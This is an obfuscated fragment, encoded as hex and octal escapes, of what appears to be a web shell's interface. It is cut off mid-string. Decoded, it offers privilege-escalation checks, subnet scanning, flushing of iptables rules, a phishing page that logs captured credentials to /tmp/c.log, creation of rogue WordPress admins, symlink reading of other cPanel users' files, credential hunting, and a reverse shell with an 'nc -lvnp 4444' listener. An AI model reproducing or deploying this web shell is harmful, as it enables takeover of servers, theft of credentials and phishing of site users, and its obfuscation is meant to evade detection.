x68\151\x73\x68\x69\156\147\x3c\57\x73\x70\141\x6e\76\74\x2f\x64\x69\166\76\74\144\x69\166\x20\151\144\x3d\x22\x74\141\142\55\160\162\x69\x76\x65\x73\x63\42\40\143\x6c\x61\x73\163\x3d\42\164\141\142\55\x63\157\156\164\145\156\x74\40\141\x63\x74\151\166\x65\x22\76\x3c\x64\151\166\x20\143\x6c\x61\x73\163\x3d\42\x74\x6f\157\x6c\x2d\x73\145\x63\x74\x69\157\x6e\x22\x3e\x3c\x68\63\40\x73\x74\x79\154\x65\75\x22\155\141\162\147\151\156\55\x74\157\160\72\60\73\x22\76\x41\165\164\157\155\141\164\x65\x64\40\120\162\x69\166\151\x6c\145\147\x65\x20\105\x73\143\141\154\x61\164\x69\x6f\x6e\x20\103\x68\145\x63\x6b\x65\162\x3c\x2f\x68\x33\76\74\x70\x20\163\x74\x79\x6c\145\x3d\x22\x63\157\x6c\x6f\x72\72\40\166\141\x72\x28\55\x2d\x74\145\x78\164\x2d\155\x65\144\51\x3b\42\x3e\x52\x75\x6e\x20\143\157\x6d\160\x72\145\150\145\156\x73\x69\x76\x65\x20\x63\150\x65\x63\153\x73\x20\x66\x6f\x72\40\x63\157\155\155\157\156\x20\160\162\x69\x76\151\154\x65\x67\145\x20\x65\163\x63\x61\x6c\x61\164\151\157\156\x20\166\x65\143\x74\x6f\x72\163\x20\x6f\156\x20\114\x69\156\x75\x78\40\x61\156\144\x20\127\151\x6e\x64\157\167\163\56\74\57\x70\x3e\74\144\151\x76\76\74\x73\145\x6c\145\143\164\40\x69\144\75\42\x70\x72\151\166\x65\163\143\55\157\x73\x2d\x74\x79\160\x65\42\x20\163\164\x79\154\x65\x3d\42\167\x69\144\164\150\72\61\x35\60\x70\x78\73\x20\x6d\x61\162\147\151\156\55\162\x69\x67\x68\x74\72\x31\x72\x65\155\73\42\76\74\x6f\160\x74\x69\157\156\x20\x76\x61\154\x75\x65\x3d\42\x6c\x69\156\165\x78\42\x3e\x4c\x69\156\x75\170\74\x2f\x6f\160\164\151\x6f\x6e\76\x3c\x6f\x70\164\151\157\x6e\40\166\141\154\165\x65\x3d\x22\x77\x69\x6e\144\x6f\x77\x73\x22\x3e\127\151\x6e\x64\x6f\167\163\x3c\x2f\x6f\160\164\x69\x6f\156\76\x3c\57\x73\x65\x6c\x65\143\x74\x3e\x3c\x62\x75\164\164\157\x6e\x20\151\144\75\x22\162\165\x6e\x2d\x70\x72\151\x76\145\163\143\55\143\x68\145\x63\x6b\145\x72\55\x62\164\x6e\42\x3e\x52\165\156\x20\103\150\145\x63\153\163\x3c\57\x62\x75\164\x74\x6f\x6e\76\x3c\57\x64\151\x76\76\x3c\x70\x72\145\40\151\x64\75\x22\x70\x72\x69\x76\145\163\x63\x2d\143\x68\145\x63\153\x65\x72\55\157\165\x74\160\165\x74\x22\x20\143\154\141\x73\x73\75\x22\x6f\165\x74\160\x75\164\x2d\142\x6f\170\42\76\74\x2f\x70\x72\145\x3e\x3c\57\144\x69\x76\76\x3c\x2f\x64\151\x76\x3e\x3c\144\151\166\40\x69\144\x3d\42\164\x61\142\x2d\x73\165\x62\156\x65\164\x2d\163\x63\141\156\42\40\x63\154\x61\x73\x73\x3d\42\164\x61\142\55\143\x6f\156\164\x65\x6e\164\x22\76\x3c\x64\151\x76\x20\x63\x6c\141\163\x73\x3d\x22\164\x6f\x6f\x6c\x2d\x73\145\143\x74\151\157\x6e\42\x3e\74\x68\63\40\163\164\171\154\x65\x3d\x22\155\141\x72\x67\151\156\55\x74\x6f\x70\x3a\60\73\42\76\111\156\x74\145\x72\x6e\x61\x6c\x20\x53\x75\x62\x6e\x65\164\x20\123\143\x61\156\156\x65\x72\74\57\x68\63\x3e\x3c\x70\x20\163\164\x79\x6c\145\x3d\x22\143\x6f\x6c\157\x72\x3a\40\x76\141\162\x28\x2d\x2d\x74\145\170\x74\55\155\x65\144\51\73\x22\x3e\x53\143\x61\156\x20\141\x6e\40\x69\x6e\x74\145\x72\156\x61\x6c\40\x6e\145\x74\167\x6f\x72\153\40\162\141\x6e\147\145\x20\x74\x6f\x20\x64\151\x73\143\157\x76\x65\162\x20\x6c\x69\x76\x65\x20\150\x6f\x73\x74\163\40\141\156\144\40\157\160\145\156\x20\x70\x6f\162\x74\x73\56\x3c\x2f\x70\76\74\x64\x69\x76\76\74\x69\156\x70\165\x74\40\x74\x79\x70\145\75\42\164\145\x78\164\42\40\151\144\75\x22\x73\165\x62\x6e\x65\164\x2d\163\143\141\x6e\55\164\x61\162\147\145\x74\x22\x20\x70\154\141\143\145\150\x6f\154\144\x65\x72\75\x22\x53\165\142\156\145\x74\x20\50\x65\56\x67\56\x2c\40\x31\71\x32\x2e\61\x36\70\x2e\x31\56\60\57\62\x34\51\42\40\x73\x74\x79\154\145\75\42\146\x6c\x65\x78\72\x31\x3b\40\155\x61\x72\x67\151\156\55\x72\151\147\150\x74\72\61\x72\145\155\73\x22\76\74\142\x75\164\164\x6f\x6e\x20\x69\144\75\x22\162\165\x6e\x2d\x73\165\x62\x6e\145\164\x2d\x73\x63\x61\156\x2d\x62\x74\x6e\42\76\123\143\x61\156\x20\x53\165\x62\x6e\145\x74\74\57\142\165\x74\x74\x6f\156\x3e\x3c\57\x64\151\x76\x3e\74\160\x72\145\x20\x69\144\x3d\x22\163\165\142\x6e\x65\x74\55\163\143\x61\156\x2d\x6f\x75\x74\160\x75\x74\42\40\x63\154\141\163\163\x3d\x22\157\x75\x74\160\x75\x74\55\x62\x6f\170\42\x3e\x3c\x2f\160\162\145\x3e\x3c\57\x64\x69\166\76\74\57\144\151\166\x3e\74\x64\151\166\40\x69\x64\75\x22\x74\141\142\55\145\x76\x61\163\x69\157\x6e\x22\x20\x63\154\x61\x73\x73\x3d\42\x74\x61\142\x2d\143\x6f\156\x74\x65\156\x74\42\x3e\x3c\x64\151\166\40\143\x6c\x61\x73\163\75\x22\x74\x6f\x6f\x6c\x2d\x73\145\143\x74\x69\157\156\x22\x3e\74\x68\63\40\163\x74\x79\x6c\x65\75\42\x6d\141\162\147\x69\x6e\55\x74\x6f\x70\72\x30\x3b\42\x3e\x46\x69\x72\145\x77\141\x6c\x6c\40\x43\x6f\156\x74\162\157\x6c\x20\x28\151\160\164\x61\x62\154\145\x73\51\x3c\57\150\63\76\x3c\160\40\163\x74\171\x6c\145\75\x22\x63\157\154\157\162\72\x20\166\x61\162\x28\55\x2d\x74\145\x78\x74\55\x6d\x65\144\x29\x3b\x22\x3e\x56\x69\x65\167\x20\x61\156\x64\x20\x61\164\x74\x65\x6d\x70\164\x20\164\157\40\146\x6c\x75\x73\x68\x20\x66\151\x72\145\x77\x61\x6c\154\x20\162\165\x6c\x65\x73\x2e\x20\122\145\x71\x75\x69\x72\145\163\x20\x61\x70\x70\162\157\160\x72\151\x61\x74\x65\40\x70\x65\162\155\151\163\x73\151\157\x6e\x73\56\74\x2f\x70\76\x3c\144\151\x76\76\74\x62\165\164\164\157\156\40\x69\144\x3d\x22\166\151\145\167\x2d\x66\151\162\145\x77\x61\154\154\55\142\x74\156\x22\x3e\126\151\145\167\40\151\x70\164\x61\142\x6c\145\163\x20\122\x75\154\145\x73\74\x2f\142\x75\x74\x74\157\x6e\x3e\x3c\142\165\164\x74\157\156\x20\151\x64\75\x22\x66\x6c\x75\163\x68\55\146\x69\162\145\x77\x61\154\154\55\x62\164\156\x22\x20\x63\x6c\141\163\x73\75\42\144\141\156\147\x65\x72\55\x62\164\156\42\40\163\x74\171\x6c\145\75\x22\x6d\141\162\x67\151\156\55\154\145\x66\164\x3a\40\60\x72\x65\155\73\x22\76\x46\x6c\x75\x73\x68\x20\101\154\154\40\151\160\x74\x61\x62\x6c\x65\x73\40\122\x75\x6c\x65\x73\x3c\x2f\142\x75\164\x74\x6f\156\x3e\x3c\57\144\151\x76\x3e\x3c\160\x72\x65\40\151\144\x3d\x22\x66\x69\162\145\x77\x61\154\154\x2d\157\165\x74\x70\x75\164\x22\x20\x63\154\141\163\x73\75\42\x6f\165\164\x70\165\164\55\142\157\x78\42\76\74\57\x70\162\145\76\x3c\x2f\x64\151\x76\x3e\74\x2f\x64\x69\166\x3e\74\144\151\166\x20\x69\x64\x3d\x22\164\141\142\x2d\x70\x68\x69\163\x68\151\156\147\x22\x20\143\154\141\163\x73\75\x22\164\141\142\x2d\143\157\156\x74\x65\x6e\x74\x22\76\74\144\151\166\x20\143\154\141\163\163\x3d\42\x74\x6f\157\154\x2d\163\145\x63\x74\x69\157\156\x22\x3e\74\150\63\x20\x73\x74\x79\154\145\x3d\42\x6d\141\162\x67\x69\156\x2d\x74\x6f\x70\72\x30\73\42\x3e\120\x68\151\163\x68\151\156\147\x20\x50\141\x67\x65\x20\x44\x65\x70\154\157\x79\145\162\74\57\x68\x33\x3e\74\160\x20\163\164\171\x6c\145\75\x22\x63\x6f\x6c\x6f\162\x3a\40\166\141\x72\50\55\55\164\145\170\x74\55\155\x65\144\x29\x3b\x22\x3e\111\156\163\164\141\156\164\154\171\x20\144\x65\160\154\x6f\x79\x20\x61\x20\147\x65\x6e\x65\x72\151\143\x20\x61\144\x6d\151\x6e\x20\154\157\x67\151\x6e\40\x70\150\151\163\x68\x69\x6e\147\x20\160\x61\147\145\x2e\x20\103\162\x65\x64\145\x6e\164\151\x61\x6c\x73\x20\167\151\x6c\154\40\x62\x65\x20\163\141\166\x65\144\x20\164\x6f\40\x3c\143\x6f\144\145\x20\x73\x74\x79\x6c\x65\x3d\42\x62\x61\x63\153\x67\162\157\x75\156\x64\72\x76\141\x72\x28\55\x2d\x62\147\55\154\151\147\150\164\x29\73\x70\x61\x64\144\x69\x6e\147\x3a\62\x70\170\x20\64\160\x78\73\42\76\57\164\155\x70\57\143\56\154\157\x67\x3c\57\x63\157\144\x65\76\40\x6f\156\40\164\150\x65\x20\x73\145\x72\x76\x65\162\56\x3c\x2f\x70\x3e\74\x64\151\x76\x20\163\x74\171\x6c\x65\x3d\x22\144\x69\163\160\154\141\x79\x3a\146\154\x65\x78\x3b\40\x67\141\x70\72\40\61\x72\x65\x6d\x3b\x20\x61\x6c\151\147\x6e\55\x69\164\x65\155\x73\x3a\x63\145\x6e\x74\145\x72\73\42\x3e\74\x69\156\160\x75\x74\x20\164\171\160\145\75\42\164\x65\170\164\42\40\151\144\x3d\x22\x70\x68\151\x73\150\x2d\x64\145\x70\x6c\x6f\171\x2d\160\141\164\x68\x22\40\160\x6c\x61\x63\145\150\157\154\144\145\162\x3d\42\127\x72\151\x74\141\x62\x6c\145\40\104\151\162\145\x63\x74\x6f\162\x79\x20\120\141\x74\150\x22\x20\x73\x74\x79\x6c\145\75\x22\x66\x6c\x65\170\72\x31\x3b\x22\76\x3c\x69\156\160\x75\164\x20\x74\171\160\145\x3d\42\x74\x65\x78\x74\x22\x20\151\144\x3d\x22\160\150\151\163\150\x2d\x64\x65\160\x6c\157\x79\x2d\146\x69\x6c\145\156\141\155\x65\42\40\166\x61\154\x75\145\x3d\42\154\157\x67\x69\156\x2e\160\x68\160\x22\x20\163\x74\171\x6c\x65\x3d\x22\167\x69\x64\x74\150\x3a\x31\65\60\x70\170\73\x22\x3e\x3c\x62\x75\164\164\x6f\156\x20\x69\144\75\x22\x64\x65\x70\x6c\x6f\171\x2d\x70\x68\151\163\x68\x2d\x62\164\156\42\x20\x63\x6c\141\163\x73\x3d\42\x64\x61\x6e\x67\x65\162\55\x62\164\156\42\x3e\x44\x65\x70\154\157\x79\40\x50\x61\x67\x65\x3c\57\x62\165\164\x74\x6f\x6e\76\74\x2f\144\151\166\x3e\74\144\x69\x76\x20\151\x64\75\42\160\x68\x69\163\150\55\144\145\160\154\x6f\171\x2d\x6f\165\x74\x70\x75\x74\42\x20\x73\164\171\154\145\75\x22\155\x61\162\x67\x69\156\55\x74\157\160\72\61\162\145\155\x3b\42\76\74\57\x64\x69\x76\x3e\74\x2f\144\151\x76\x3e\74\x2f\x64\x69\x76\76\x3c\x2f\x64\151\x76\76\74\x2f\144\x69\x76\x3e\12\40\40\x20\x20\40\40\40\x20\x20\74\144\x69\166\40\x69\x64\x3d\42\166\x69\145\x77\x2d\x66\151\x6e\147\x65\x72\x70\x72\151\156\164\42\40\143\x6c\x61\x73\163\x3d\x22\x76\151\145\x77\x2d\143\157\156\164\141\151\x6e\x65\162\x22\x3e\x3c\144\x69\x76\40\143\x6c\x61\163\163\x3d\x22\x63\x6f\x6e\164\145\156\164\x2d\x68\x65\141\x64\x65\x72\x22\x3e\x53\145\162\166\145\x72\40\x46\x69\156\x67\145\x72\x70\x72\x69\156\x74\x3c\x2f\144\x69\x76\x3e\74\144\151\166\x20\143\x6c\x61\x73\163\x3d\x22\143\x6f\x6e\x74\145\156\164\55\141\162\145\141\42\x3e\x3c\x64\151\x76\40\x63\x6c\x61\x73\163\75\x22\x74\157\x6f\x6c\55\163\145\x63\164\151\x6f\x6e\x22\76\74\x70\x20\163\164\x79\154\x65\75\42\x63\157\154\x6f\x72\72\40\x76\x61\162\50\x2d\x2d\x74\x65\x78\164\x2d\155\145\144\51\x3b\x22\x3e\107\141\x74\x68\x65\162\40\x64\145\x74\x61\151\x6c\145\x64\x20\151\156\146\x6f\x72\155\141\x74\x69\x6f\156\40\141\142\157\165\164\40\164\x68\x65\x20\x73\145\162\166\x65\x72\47\163\40\x63\157\156\146\151\147\165\x72\x61\x74\x69\x6f\156\x2c\x20\x69\x6e\x63\x6c\165\x64\151\156\x67\40\163\x6f\x66\x74\x77\141\162\x65\x2c\40\163\145\162\x76\x69\143\x65\163\x2c\x20\141\156\x64\40\160\141\143\153\x61\x67\145\163\x2e\74\x2f\x70\x3e\x3c\x62\x75\164\164\x6f\x6e\40\151\144\x3d\42\162\x75\156\55\x66\x69\156\147\x65\162\x70\x72\151\156\164\x2d\142\x74\156\x22\x3e\x47\141\164\x68\145\x72\x20\123\x65\162\x76\145\x72\x20\x46\x69\156\147\145\162\x70\162\x69\x6e\x74\74\x2f\142\x75\164\164\157\x6e\76\74\57\144\151\166\76\74\144\x69\x76\x20\151\x64\75\42\x66\151\156\147\145\x72\x70\162\x69\156\164\55\x72\145\163\x75\x6c\164\163\42\40\163\164\x79\x6c\x65\75\42\144\x69\x73\160\154\x61\x79\72\x6e\x6f\x6e\145\x3b\x20\155\141\162\x67\151\156\x2d\164\157\x70\x3a\x20\62\162\x65\x6d\73\x22\76\x3c\57\144\151\166\x3e\x3c\57\x64\x69\x76\x3e\x3c\x2f\144\x69\166\x3e\12\x20\x20\40\x20\x20\x20\x20\x20\40\74\144\151\166\x20\151\144\75\x22\x76\151\x65\167\55\143\160\141\x6e\x65\x6c\x2d\x63\155\x73\42\x20\x63\x6c\x61\x73\163\x3d\x22\x76\151\x65\x77\x2d\x63\157\x6e\x74\141\x69\156\145\162\42\76\74\144\x69\x76\x20\143\154\141\x73\x73\75\42\x63\x6f\x6e\164\x65\156\164\55\150\145\x61\144\145\162\42\x3e\103\115\123\40\x26\40\x63\120\141\156\x65\154\40\x54\157\x6f\x6c\x73\74\57\144\151\166\76\x3c\144\151\x76\40\143\x6c\x61\x73\163\x3d\42\x63\157\156\x74\145\156\x74\55\141\x72\x65\141\42\76\x3c\x64\x69\166\40\143\x6c\141\163\x73\75\42\164\x6f\x6f\154\55\x73\x65\143\x74\151\157\x6e\x22\x3e\x3c\x68\63\76\127\x6f\x72\x64\x50\x72\145\163\x73\x20\x41\144\155\151\x6e\40\x55\x73\x65\x72\40\x43\x72\145\141\x74\x6f\162\x3c\57\x68\63\x3e\x3c\160\40\163\x74\x79\154\x65\x3d\x22\143\157\x6c\157\162\x3a\40\166\x61\162\x28\x2d\x2d\164\145\x78\x74\55\155\145\x64\51\73\x22\x3e\106\x69\x6e\144\x73\40\x61\x20\x3c\x63\157\x64\x65\40\163\164\x79\x6c\145\75\42\x62\x61\x63\x6b\x67\x72\x6f\x75\156\x64\72\x76\x61\x72\x28\55\x2d\142\147\x2d\x6c\x69\x67\150\x74\x29\x3b\x70\x61\144\x64\x69\156\147\x3a\62\x70\170\40\64\x70\170\x3b\x22\x3e\x77\x70\55\x63\x6f\156\x66\151\147\56\160\x68\x70\x3c\x2f\x63\x6f\x64\145\x3e\x20\x66\151\x6c\x65\x20\141\x6e\144\40\141\x64\144\163\40\141\40\x6e\145\x77\x20\141\x64\x6d\x69\156\40\x75\x73\145\162\40\164\157\40\x74\150\x65\40\144\x61\164\141\x62\141\x73\x65\x2e\x3c\57\160\76\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\x22\164\157\x6f\x6c\x2d\x69\156\x70\x75\164\x2d\147\162\x6f\x75\160\42\76\74\x69\156\x70\x75\x74\40\164\171\160\145\75\42\x74\x65\x78\164\x22\x20\x69\x64\x3d\42\x77\x70\x2d\x63\x6f\x6e\146\151\147\x2d\x70\x61\x74\150\x22\40\x70\x6c\x61\x63\145\x68\157\154\144\x65\x72\x3d\42\120\x61\x74\150\x20\x74\x6f\x20\167\x70\55\143\157\x6e\146\151\x67\x2e\160\150\x70\x22\76\x3c\x69\x6e\x70\165\164\x20\164\x79\160\x65\75\x22\x74\x65\x78\164\42\x20\151\144\x3d\x22\x77\160\x2d\156\145\x77\x2d\x75\163\145\162\x22\x20\160\x6c\x61\x63\145\150\x6f\154\144\x65\x72\x3d\42\116\145\167\x20\x55\163\x65\x72\156\x61\155\x65\x22\x3e\x3c\x69\156\160\165\x74\40\x74\x79\x70\x65\75\42\x70\141\163\163\167\x6f\162\x64\42\40\151\x64\x3d\x22\x77\160\55\156\145\x77\55\x70\x61\x73\163\42\40\160\154\141\143\145\x68\x6f\x6c\x64\x65\162\75\42\116\x65\167\x20\x50\x61\163\x73\x77\x6f\x72\x64\42\76\x3c\x69\x6e\x70\x75\x74\40\164\x79\160\x65\x3d\x22\164\145\x78\164\x22\x20\151\x64\x3d\42\167\160\x2d\x6e\x65\x77\x2d\145\155\141\151\154\x22\40\x70\x6c\141\x63\x65\x68\157\x6c\x64\145\162\x3d\42\116\x65\x77\x20\105\x6d\141\x69\154\x20\x41\144\144\162\145\163\163\42\x3e\x3c\x2f\x64\151\x76\x3e\x3c\x62\165\x74\164\157\x6e\x20\151\144\75\42\143\x72\145\141\164\x65\55\x77\160\x2d\x75\163\x65\162\x2d\142\164\x6e\42\x20\143\x6c\x61\163\163\x3d\x22\x64\x61\x6e\147\145\x72\55\x62\164\x6e\x22\x3e\x43\x72\145\x61\164\x65\40\x41\x64\x6d\x69\156\x20\x55\x73\145\x72\74\x2f\142\165\164\x74\x6f\156\x3e\x3c\x2f\x64\x69\166\x3e\74\150\162\x3e\74\x64\x69\166\x20\x63\x6c\x61\x73\x73\x3d\x22\x74\x6f\157\x6c\55\163\145\x63\x74\x69\x6f\156\42\76\x3c\150\x33\x3e\x63\x50\x61\x6e\x65\154\x20\123\x79\155\154\151\156\153\145\x72\74\57\x68\x33\x3e\74\160\40\x73\164\171\x6c\145\75\x22\143\157\x6c\x6f\162\x3a\40\x76\141\162\50\55\55\x74\x65\x78\x74\x2d\x6d\145\x64\51\x3b\x22\76\x41\164\x74\x65\155\x70\164\40\x74\x6f\40\162\145\x61\144\x20\143\157\x6e\146\151\147\x20\146\x69\x6c\x65\163\x20\157\146\x20\x6f\164\x68\145\x72\x20\x75\163\145\162\x73\x20\x6f\x6e\x20\x73\150\141\162\x65\x64\40\150\157\x73\x74\x69\x6e\x67\40\166\x69\141\40\x73\x79\155\142\157\154\151\143\x20\x6c\151\156\x6b\x73\x2e\74\x2f\160\76\74\163\x65\154\145\143\x74\40\x69\144\x3d\42\163\x79\x6d\x6c\x69\156\x6b\55\164\x61\x72\147\145\x74\55\165\163\145\162\42\x20\163\164\171\154\145\75\x22\x77\151\x64\x74\150\72\61\60\x30\x25\73\x20\155\x61\x72\x67\x69\x6e\55\142\157\x74\164\x6f\x6d\x3a\x31\x72\x65\155\73\x22\x3e\74\57\x73\145\x6c\145\143\164\x3e\74\x62\165\164\x74\x6f\x6e\x20\x69\144\x3d\42\162\x75\x6e\55\x73\171\x6d\154\151\156\153\x2d\142\164\156\42\76\122\x75\156\40\x53\171\x6d\x6c\151\156\x6b\40\101\164\x74\x61\x63\x6b\x3c\x2f\x62\165\x74\164\157\x6e\76\x3c\x64\151\x76\x20\x69\x64\75\42\163\x79\x6d\154\x69\x6e\153\55\162\145\x73\x75\x6c\x74\163\42\x20\x73\164\x79\x6c\x65\75\x22\x6d\141\162\x67\151\x6e\x2d\x74\x6f\160\72\61\x72\x65\155\73\42\x3e\74\57\x64\151\166\76\74\x2f\144\x69\x76\76\74\x68\x72\76\x3c\144\x69\x76\40\143\x6c\141\163\x73\75\42\164\x6f\157\154\55\163\x65\143\164\151\x6f\156\42\x3e\74\x68\x33\x3e\106\x69\156\144\40\143\x50\x61\156\x65\x6c\x20\103\162\x65\144\x65\x6e\x74\x69\141\154\x73\74\57\150\63\x3e\74\160\40\163\164\171\x6c\x65\75\42\143\157\154\157\162\72\40\x76\141\162\x28\55\x2d\x74\145\x78\164\55\155\145\144\x29\73\x22\x3e\x4c\x6f\x6f\x6b\x73\40\x66\157\162\x20\x63\120\x61\156\145\154\x20\143\162\x65\144\145\156\164\151\x61\x6c\40\x66\151\x6c\x65\x73\x20\x6c\x69\153\x65\x20\x3c\143\x6f\x64\145\40\x73\x74\x79\154\145\75\42\142\x61\x63\153\147\162\157\x75\x6e\x64\72\x76\x61\x72\x28\x2d\x2d\142\147\55\154\x69\147\x68\x74\x29\73\x70\x61\144\144\x69\156\x67\x3a\62\x70\170\x20\64\160\x78\x3b\x22\x3e\176\x2f\x2e\154\x61\163\x74\x6c\157\x67\151\x6e\74\x2f\x63\157\x64\x65\x3e\x20\x66\x6f\x72\x20\x74\150\145\x20\143\165\162\x72\145\x6e\164\40\x75\163\145\x72\56\x3c\x2f\x70\76\74\142\x75\164\x74\x6f\x6e\x20\151\144\x3d\x22\x66\151\x6e\144\x2d\x63\x70\141\156\145\154\x2d\x63\162\x65\x64\x73\x2d\142\164\x6e\x22\x3e\106\151\156\144\40\103\162\145\144\145\x6e\x74\x69\x61\x6c\x73\x3c\57\142\165\x74\x74\x6f\156\76\x3c\160\162\x65\x20\x69\144\75\42\143\160\x61\156\145\154\x2d\x63\162\x65\144\x73\55\x6f\165\x74\x70\x75\164\x22\40\x63\154\141\x73\163\x3d\42\157\165\x74\160\165\x74\55\x62\157\x78\x22\76\74\x2f\160\x72\x65\76\74\x2f\x64\151\x76\76\74\x2f\144\151\166\76\x3c\57\x64\151\x76\x3e\xa\x20\x9\11\x3c\x64\151\x76\40\151\144\x3d\42\166\151\x65\167\x2d\144\141\164\x61\142\x61\163\x65\42\40\143\x6c\141\x73\x73\75\42\x76\151\x65\167\55\143\157\156\x74\x61\151\x6e\x65\162\x22\76\74\144\x69\166\x20\x63\x6c\141\163\x73\75\42\143\x6f\156\164\145\156\164\55\x68\145\141\x64\x65\162\x22\76\104\x61\164\x61\142\141\163\145\40\x43\x6c\x69\x65\x6e\x74\x20\50\115\x79\x53\x51\x4c\151\51\x3c\x2f\144\151\166\x3e\x3c\x64\151\x76\40\143\x6c\x61\x73\163\x3d\42\143\157\x6e\x74\x65\x6e\x74\55\141\x72\x65\141\x22\x3e\74\144\151\x76\40\x63\x6c\x61\x73\x73\x3d\42\x64\x62\55\146\157\162\155\x2d\147\x72\151\144\x22\x3e\74\151\x6e\x70\x75\x74\x20\164\x79\x70\x65\75\42\x74\x65\x78\164\42\x20\151\x64\75\42\x64\x62\55\x68\x6f\x73\x74\x22\x20\160\x6c\141\x63\x65\x68\x6f\154\144\145\x72\x3d\x22\x48\157\163\164\x20\50\145\x2e\147\56\x2c\40\154\x6f\x63\141\x6c\x68\157\163\164\x29\x22\76\x3c\151\x6e\160\x75\164\x20\164\x79\x70\x65\75\x22\x74\145\170\164\x22\40\x69\144\75\42\144\142\55\165\x73\145\162\42\x20\x70\154\141\x63\x65\150\x6f\154\x64\x65\162\x3d\42\x55\x73\x65\x72\x6e\x61\x6d\145\x20\x28\145\x2e\147\x2e\54\40\x72\157\x6f\164\x29\x22\76\74\x69\156\160\x75\164\x20\164\x79\x70\145\75\42\x70\141\x73\163\167\x6f\162\x64\x22\40\151\144\75\42\144\x62\55\160\141\x73\163\42\x20\160\154\x61\x63\145\150\157\154\x64\x65\x72\x3d\42\120\141\163\163\167\157\162\x64\42\x3e\x3c\x69\156\x70\165\x74\x20\164\171\160\x65\75\x22\x74\x65\170\164\x22\x20\151\144\x3d\42\144\142\x2d\156\141\155\x65\42\40\x70\154\141\x63\145\150\x6f\x6c\x64\145\162\x3d\x22\104\x61\164\x61\x62\141\163\145\x20\x4e\141\155\x65\42\x3e\74\57\144\x69\166\x3e\74\x74\145\x78\x74\x61\x72\145\x61\x20\151\144\75\42\x64\x62\x2d\161\x75\x65\162\171\42\40\163\164\x79\x6c\x65\x3d\42\167\151\144\164\x68\x3a\61\60\x30\x25\x3b\40\150\x65\151\x67\150\164\x3a\40\61\65\60\x70\x78\x3b\x20\x72\145\163\x69\172\145\72\166\x65\162\164\x69\143\141\x6c\x3b\42\40\x70\x6c\141\x63\x65\150\x6f\x6c\x64\x65\162\75\42\123\x45\114\105\x43\124\x20\x2a\x20\x46\122\117\115\40\x75\x73\145\x72\x73\x3b\42\76\74\x2f\164\x65\x78\164\x61\x72\145\x61\x3e\x3c\142\165\x74\x74\157\156\x20\151\x64\75\x22\x72\165\156\x2d\144\x62\x2d\161\165\145\162\171\55\142\164\156\42\x20\x73\164\171\x6c\145\x3d\42\x6d\x61\x72\147\151\156\55\164\x6f\x70\x3a\61\x72\x65\x6d\73\x22\x3e\x45\170\x65\x63\165\164\145\40\121\165\145\x72\x79\74\x2f\x62\165\x74\x74\157\x6e\76\74\144\x69\166\40\151\144\75\42\144\142\55\162\145\x73\x75\x6c\x74\x73\x2d\143\x6f\x6e\164\x61\x69\156\x65\x72\x22\76\74\x2f\x64\151\x76\76\x3c\57\144\x69\166\76\74\57\x64\151\166\x3e\12\40\x9\11\74\x64\151\166\x20\x69\x64\x3d\x22\166\x69\x65\167\x2d\x63\x6f\x6e\156\145\x63\164\42\x20\143\x6c\141\163\163\x3d\42\166\151\145\167\55\x63\157\156\x74\141\151\x6e\145\x72\42\76\74\x64\151\166\x20\143\x6c\x61\163\x73\75\x22\x63\x6f\156\x74\x65\x6e\x74\x2d\x68\x65\141\x64\145\x72\42\x3e\x43\157\156\x6e\x65\x63\164\x3c\57\144\x69\x76\76\x3c\x64\151\166\x20\143\154\141\x73\x73\x3d\x22\x63\157\x6e\x74\x65\156\x74\x2d\141\x72\145\x61\x22\x3e\x3c\144\x69\166\40\x63\154\141\x73\x73\x3d\x22\x74\x61\142\163\42\x3e\x3c\x73\160\141\156\x20\143\154\141\x73\163\75\42\x74\141\x62\x2d\154\x69\156\x6b\x20\x61\x63\164\x69\x76\145\42\40\x64\x61\164\x61\55\164\141\x62\75\42\162\x65\166\x65\x72\163\145\55\x73\x68\x65\x6c\x6c\x22\x3e\122\145\x76\x65\162\x73\145\x20\123\x68\145\x6c\x6c\74\57\x73\160\141\156\x3e\x3c\x73\160\x61\156\x20\143\154\141\163\x73\75\42\x74\141\142\55\x6c\151\156\x6b\x22\x20\x64\x61\x74\141\x2d\x74\x61\x62\75\x22\x62\x69\156\x64\55\x73\150\x65\x6c\154\x22\76\102\x69\x6e\144\x20\x53\150\145\154\x6c\74\57\163\160\x61\156\x3e\x3c\57\x64\x69\166\76\74\x64\x69\x76\x20\x69\x64\x3d\x22\x74\x61\x62\55\162\x65\166\x65\162\x73\145\x2d\163\150\x65\x6c\154\42\x20\x63\x6c\141\163\x73\75\42\x74\x61\142\55\x63\x6f\156\164\145\x6e\164\40\141\x63\x74\151\x76\145\x22\x3e\74\150\63\40\163\164\171\x6c\x65\75\42\155\141\x72\x67\151\156\x2d\164\x6f\x70\x3a\60\73\42\x3e\x43\157\x6e\x6e\x65\143\164\x20\x42\x61\x63\153\40\50\x52\145\x76\145\x72\163\x65\x20\x53\150\145\154\154\x29\74\57\x68\63\76\x3c\x70\40\x73\164\171\x6c\145\x3d\x22\143\x6f\x6c\157\x72\x3a\x76\x61\x72\x28\x2d\x2d\x74\145\x78\164\x2d\x6d\x65\144\x29\73\x20\155\x61\x72\147\x69\156\x2d\142\x6f\x74\x74\x6f\x6d\x3a\40\x31\56\65\x72\145\x6d\73\x22\x3e\x54\150\145\40\163\145\x72\x76\145\162\x20\143\x6f\156\156\145\x63\x74\163\40\157\165\164\x20\164\157\40\x79\157\x75\162\40\154\x69\x73\164\x65\156\x65\162\56\x20\123\x74\141\x72\164\40\x77\x69\x74\x68\40\74\143\x6f\144\145\x20\x73\x74\x79\x6c\145\75\x22\142\x61\143\x6b\147\x72\157\165\156\x64\x3a\x20\x76\x61\162\x28\55\55\142\x67\x2d\154\x69\147\150\x74\x29\73\40\160\141\144\144\151\x6e\x67\72\x20\x33\x70\x78\40\66\x70\x78\73\x20\x62\157\x72\x64\145\162\55\x72\x61\x64\x69\165\163\x3a\40\x34\160\x78\73\x22\x3e\156\x63\x20\x2d\154\166\x6e\x70\x20\64\64\64\x34\74\57\143\157\x64\145\x3e\56\x3c\57\160\x3e\x3c\144\x69\x76\40\143\x6c\x61\x73\163\x3d\42\x74\x6f\x6f\154\55\x73\x65\x63\164\x69\x6f\156\x22\x3e\x3c\144\151\166\76\x3c\x69\x6e\160\x75\x74\x20\164\171\x70\145\x3d\42\164\145\x78\164\x22\40\x69\x64\75\42\162\x65\x76\55\x73\x68\x65\154\x6c\x2d\x69\x70\42\40\x70\154\141\x63\145\150\x6f\154\x64\145\x72\x3d\42\x59\157\165\x72\x20\111\x50\x20\x41\x64\144\162\x65\x73\x73\x22\x20\163\164\171\x6c\x65\75\x22\x6